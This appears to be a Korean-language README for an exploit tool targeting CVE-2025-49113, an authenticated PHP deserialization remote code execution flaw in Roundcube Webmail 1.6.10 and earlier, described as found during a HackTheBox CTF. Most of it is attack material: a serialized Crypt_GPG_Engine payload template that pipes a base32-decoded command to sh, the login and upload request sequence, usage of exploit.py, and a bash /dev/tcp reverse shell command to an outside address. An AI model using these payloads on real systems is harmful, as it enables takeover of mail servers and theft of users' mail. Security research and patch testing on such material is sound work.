
CVE-2025-49113 – Roundcube ≤1.6.10 PHP 객체 역직렬화를 통한 인증 후 RCE (HackTheBox CTF)
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2025-49113 |
| 소프트웨어 | Roundcube Webmail |
| 영향받는 버전 | ≤ 1.6.10 |
| 취약점 | PHP 객체 역직렬화 → RCE |
| 인증 | 필요 (모든 유효한 사용자) |
| 영향 | 서버에서의 원격 코드 실행 |
| 발견 경위 | HackTheBox CTF 중 발견됨 |
Roundcube Webmail 1.6.10 이하 버전은 인증 후 원격 코드 실행(RCE)에 취약합니다. 파일 업로드 핸들러는 업로드된 첨부 파일의 파일 이름에 포함된 PHP 객체를 역직렬화합니다. 직렬화된 Crypt_GPG_Engine 객체가 포함된 악성 파일 이름을 제작함으로써, 인증된 공격자는 파일 이름이 처리될 때 서버에서 임의의 명령 실행을 유발할 수 있습니다.
PHP 객체 역직렬화 (CWE-502). Roundcube의 파일 업로드 엔드포인트는 클라이언트가 제공한 파일 이름을 검증 없이 역직렬화 경로로 전달합니다. Crypt_GPG_Engine 클래스는 Roundcube의 종속성 체인에 존재하며 활용 가능한 가젯 체인으로 작동합니다.
Crypt_GPG_Engine 클래스에는 객체 소멸/초기화 중 시스템 수준 호출에 전달되는 _gpgconf 속성이 포함되어 있습니다. 조작된 _gpgconf 값을 가진 인스턴스를 직렬화함으로써 공격자는 명령 실행을 강제합니다.
Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
명령은 파일 이름 필드에서 특수 문자 문제를 피하기 위해 Base32로 인코딩됩니다.
Attacker (authenticated)
│
▼
GET /?_task=login → Fetch CSRF token + session cookie
│
▼
POST /?_task=login → Authenticate with valid credentials
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
│
▼
Server deserializes filename → Crypt_GPG_Engine instantiated
│
▼
_gpgconf executed → OS command runs as webserver user
명령은 multipart 파일 이름 필드(따옴표, 슬래시 등)를 손상시킬 수 있는 문자를 피하기 위해 Base32로 인코딩됩니다. 서버에서 최종적으로 실행되는 명령은 다음과 같습니다:
echo "<B32_CMD>" | base32 -d | sh
python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
| 플래그 | 설명 |
|---|---|
-u | Roundcube 사용자 이름 |
-p | Roundcube 비밀번호 |
-i | 대상 URL (예: http://mail.target.htb) |
-x | 서버에서 실행할 명령 |
# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
외부 라이브러리가 필요하지 않습니다 — Python 표준 라이브러리만 사용합니다 (http.client, urllib, base64 등).
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.